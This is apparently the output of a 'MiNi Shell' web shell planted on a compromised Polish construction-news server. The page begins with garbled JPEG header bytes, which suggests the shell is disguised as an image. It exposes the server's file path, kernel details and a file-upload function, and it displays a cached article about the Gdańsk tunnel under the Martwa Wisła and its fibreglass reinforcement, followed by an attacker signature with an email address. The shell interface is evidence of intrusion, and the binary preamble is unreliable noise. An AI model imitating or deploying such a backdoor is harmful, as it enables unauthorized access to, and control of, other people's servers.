JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/1f/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/1f/1f033b00bdc9723c7b6e96e275857a8c.bin

a:2:{i:0;a:2:{i:0;s:20133:" 
                    
                    <h3 class="title" itemprop="headline">Tunel pod Martwą Wisłą w Gdańsku</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 13-12-2012, 00:00</strong>
                        <meta itemprop="dateModified" content=" 13-12-2012, 00:00"/>
                        <div class="hide" itemprop="description">
	W Gdańsku, pod dnem Martwej Wisły powstaje właśnie tunel drogowy o długości 1,4 km. Połączy on zachodnią część miasta z Wyspą Portową. W konstrukcji żelbetowej szybów startowych i docelowych wykorzystano zbrojenie z włókna szklanego Schöck ComBAR&reg;</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="budownictwo.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.budownictwo.org/images/loga/budownictwo.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/45039/crop/800x600/4261a69d5c-379550001571972388.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.budownictwo.org/artykuly/szczegoly/45039"/>
                        
                                        </p>

                    <div class="lorem">
                        <table align="left" border="0" cellpadding="1" cellspacing="1" style="width:0px;">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/45039/0_upload_0c60630b77.webp" style="margin:5px;width:170px;float:left;height:79px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	<strong>W Gdańsku, pod dnem Martwej Wisły powstaje właśnie tunel drogowy o długości 1,4 km. Połączy on zachodnią część miasta z Wyspą Portową. W konstrukcji żelbetowej szybów startowych i docelowych wykorzystano zbrojenie<br />
	z włókna szklanego Schöck ComBAR<sup>®</sup></strong></p><p>
	Tunel pod dnem Martwej Wisły to jedna z największych inwestycji w Gdańsku. Będzie on nie tylko najdłuższym tego typu obiektem w Polsce, ale również pierwszym, wykonanym przy użyciu maszyny drążącej TBM (tunnel boring machine). Tunel stanowi część trasy o łącznej długości 10,7 km, która ma połączyć gdańskie lotnisko z portem morskim po wschodniej stronie Wisły.</p><table align="right" border="0" cellpadding="1" cellspacing="1" style="width:0px;">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/45039/0_upload_8f8c0a7d30.webp" style="margin:5px;width:200px;float:right;height:133px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	Tunel będzie składał się z dwóch nitek (po jednej dla każdego kierunku ruchu). Średnica zewnętrzna każdej z nich przekracza 12 m. Przez oba korytarze przebiegać będzie dwupasmowa autostrada (dostosowana do prędkości 120 km/h)<br />
	z bocznym pasem awaryjnym dla pieszych. Korytarze zostaną połączone siedmioma przejściami o długości 20 m. Trasa znajdzie się na głębokości od 9 m do 35 m poniżej dna Wisły. Budowa tak długiego tunelu pod rzeką to duże wyzwanie. Grunt składa się głównie z piasku i żwiru, dlatego należy wyjątkowo zadbać o stabilność konstrukcji. Dodatkowo trzeba wziąć również pod uwagę siłę naporu wody. Cieszymy się, że jako producent innowacyjnych zbrojeń możemy uczestniczyć w tak ciekawym projekcie – mówi Maciej Kowalczyk, Senior Inżynier, Schöck Polska.</p><table align="left" border="0" cellpadding="1" cellspacing="1" style="width:0px;">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/45039/0_upload_4fab73c1de.webp" style="margin:5px;width:200px;float:left;height:92px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	Zbrojenie z włóknem szklanym Schöck ComBAR<sup>®</sup> zastosowano w konstrukcji szybów startowych i docelowych. Rozwiązanie takie znacznie znacznie przyśpieszy postęp prac. Maszyna TBM nie może przewiercić ścian zbrojonych stalą.</p><p>
	W przypadku wykorzystania takiej konstrukcji konieczne byłoby zatem ręczne przebicie, co wymaga czasochłonnych i kosztownych prac zabezpieczających tunel przed zawaleniem. W przeciwieństwie do stali zbrojeniowej, maszyna TBM może z łatwością rozciąć zbrojenie z włóknem szklanym, dzięki czemu skraca się czas budowy, znacznemu obniżeniu ulegają też koszty przedsięwzięcia.</p><table align="right" border="0" cellpadding="1" cellspacing="1" style="width:0px;">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/45039/0_upload_58847d681b.webp" style="margin:5px;width:200px;float:right;height:133px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	Przy budowie gdańskiego tunelu bardzo dużym wyzwaniem jest zapewnienie wytrzymałości konstrukcji. Szyby, w których wykorzystano zbrojenie ComBAR<sup>®</sup>, zanim zostaną przewiercone, muszą przenieść stałe parcie gruntu i wody przez okres co najmniej 4 lat. Tak duże obciążenie wymagało zamontowania aż 3 warstw zbrojenia, które zapewnią przeniesienie momentu zginającego. Łącznie zastosowano blisko 40 ton ComBAR<sup>®</sup> w czterech przewiercanych obszarach konstrukcji. Pierwsze elementy ze zbrojeniem ComBAR<sup>®</sup>  wbudowano na początku sierpnia 2012 r. Planowany termin oddania inwestycji to październik 2014 roku.</p>
                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1" itemprop="author" itemscope itemtype="https://schema.org/Person">
                        <strong>Źródło:</strong> 
                        <span itemprop="name">
                                                    
                            Schöck Sp. z o. o.                                                        
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Gdańsk" class="label label-default">Gdańsk</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=zbrojenie" class="label label-default">zbrojenie</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=tunel" class="label label-default">tunel</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=włókno+szklane" class="label label-default">włókno szklane</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=konstrukcja+żelbetowa" class="label label-default">konstrukcja żelbetowa</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Schöck+ComBAR" class="label label-default">Schöck ComBAR</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.budownictwo.org/artykuly/szczegoly/45039_tunel-pod-martwa-wisla-w-gdansku" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                                                                    <p class="strong">Artykuł został dodany przez firmę</p>
                        <div class="media list">
                            <div class="media-left">
                                                                <a class="fill light-border-right" href="/firmy/dane-kontaktowe/81229_schock-sp-z-o-o">
                                    <div class="flex">
                                        <img loading="lazy" class="img-responsive inline" style="padding:0;width:100px;" src="https://common.v-manager.pl/uploads/images/companies/46773/frame/100x80/pobrane-288376001573042874.png" alt="Schöck Sp. z o. o. - zdjęcie">
                                    </div>
                                </a>
                                                            </div>
                            <div class="media-body">
                                <a href="/firmy/dane-kontaktowe/81229_schock-sp-z-o-o">
                                    <h5 class="media-heading title">Schöck Sp. z o. o.</h5>
                                </a>                                
                                                
                                                                    <p class="text-right"><a class="btn btn-default portal-button" href="/firmy/dane-kontaktowe/81229_schock-sp-z-o-o">Zapoznaj się z ofertą firmy</a></p>
                                                            </div>
                        </div>
                        <hr class="portal-hr">
                        <div class="clearfix"></div>
                    
                    <div id="articles">    
                        
                    
                                            <p class="strong">Inne publikacje firmy</p>  
                        
                        <div class="row">
                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/61933_polski-zaklad-produkcyjny-schock-z-certyfikatami-iso">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/61933/frame/80x60/schoeck_zaklad_w_tychach_z_certyfikatem_iso-382916001576062892.webp" alt="Polski zakład produkcyjny Schöck z certyfikatami ISO - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/61933_polski-zaklad-produkcyjny-schock-z-certyfikatami-iso" class="media-body">
                                <h3 class="media-heading">Polski zakład produkcyjny Schöck z certyfikatami ISO</h3>
                                <p>W ostatnim czasie zlokalizowany w Tychach zakład produkcyjny firmy Schöck, wiodącego producenta rozw...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/61792_zloto-architects-darling-2019-dla-rozwiazania-schock-isokorb">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/61792/frame/80x60/schoeck_zloto_architects_darling-316822001575016671.webp" alt="Złoto Architects’ Darling 2019 dla rozwiązania Schöck Isokorb - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/61792_zloto-architects-darling-2019-dla-rozwiazania-schock-isokorb" class="media-body">
                                <h3 class="media-heading">Złoto Architects’ Darling 2019 dla rozwiązania Schöck Isokorb</h3>
                                <p>Architekci i projektanci po raz kolejny docenili produkty firmy Schöck w jednym z najpopularniejszyc...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/61537_w-trosce-o-komfort-zycia-i-srodowisko-firma-schock-ekologicznie">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/61537/frame/80x60/pobrane-332289001573042982.webp" alt="W trosce o komfort życia i środowisko – firma Schöck ekologicznie - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/61537_w-trosce-o-komfort-zycia-i-srodowisko-firma-schock-ekologicznie" class="media-body">
                                <h3 class="media-heading">W trosce o komfort życia i środowisko – firma Schöck ekologicznie</h3>
                                <p>Wdrażając proekologiczne rozwiązania do codziennego funkcjonowania przedsiębiorstwa, firma tworzy wa...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/55932_izolacja-attyk-i-balustrad-z-isokorb-axt">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/55932/frame/80x60/d79c7138db-675218001571973575.webp" alt="Izolacja attyk i balustrad z Isokorb AXT - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/55932_izolacja-attyk-i-balustrad-z-isokorb-axt" class="media-body">
                                <h3 class="media-heading">Izolacja attyk i balustrad z Isokorb AXT</h3>
                                <p>
	Stosowanie właściwej izolacji attyk i balustrad zapobiega powstawaniu mostk&oacute;w cieplnych, k...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/55903_schock-tronsole-spelnia-najwyzsze-wymagania-w-zakresie-izolacji-akustycznej-klatek-schodowych">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/55903/frame/80x60/8115b9ed6f-850262001571973572.webp" alt="Schöck Tronsole spełnia najwyższe wymagania w zakresie izolacji akustycznej klatek schodowych - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/55903_schock-tronsole-spelnia-najwyzsze-wymagania-w-zakresie-izolacji-akustycznej-klatek-schodowych" class="media-body">
                                <h3 class="media-heading">Schöck Tronsole spełnia najwyższe wymagania w zakresie izolacji akustycznej klatek schodowych</h3>
                                <p>
	Wszystkie materiały budowlane muszą spełniać normy zawarte w krajowych, jak i europejskich przepi...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/55809_schock-dorn-8211-wiecej-niz-trzpien">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/55809/frame/80x60/ef75586c4d-387734001571973563.webp" alt="Schöck Dorn &#8211; więcej niż trzpień - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/55809_schock-dorn-8211-wiecej-niz-trzpien" class="media-body">
                                <h3 class="media-heading">Schöck Dorn &amp;#8211; więcej niż trzpień</h3>
                                <p>
	Gotowe do zastosowania trzpienie dylatacyjne firmy Sch&ouml;ck służą do przenoszenia sił poprzecz...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                </div>
                        
                                                <div class="clearfix"></div>
                        <hr class="portal-hr">
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:4:{i:0;s:13:"article_45039";i:1;s:8:"articles";i:2;s:22:"company_46773_articles";i:3;s:13:"company_46773";}s:4:"data";a:4:{s:32:"2b4a9547111f451580183fcdb2e1850b";s:21:"0.86051200 1746511184";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";s:32:"226cf5cc426df2010551ae176a85839d";s:21:"0.60976400 1726317063";s:32:"a323b37cfb43c769fac731c0264dc483";s:21:"0.47870900 1745853939";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com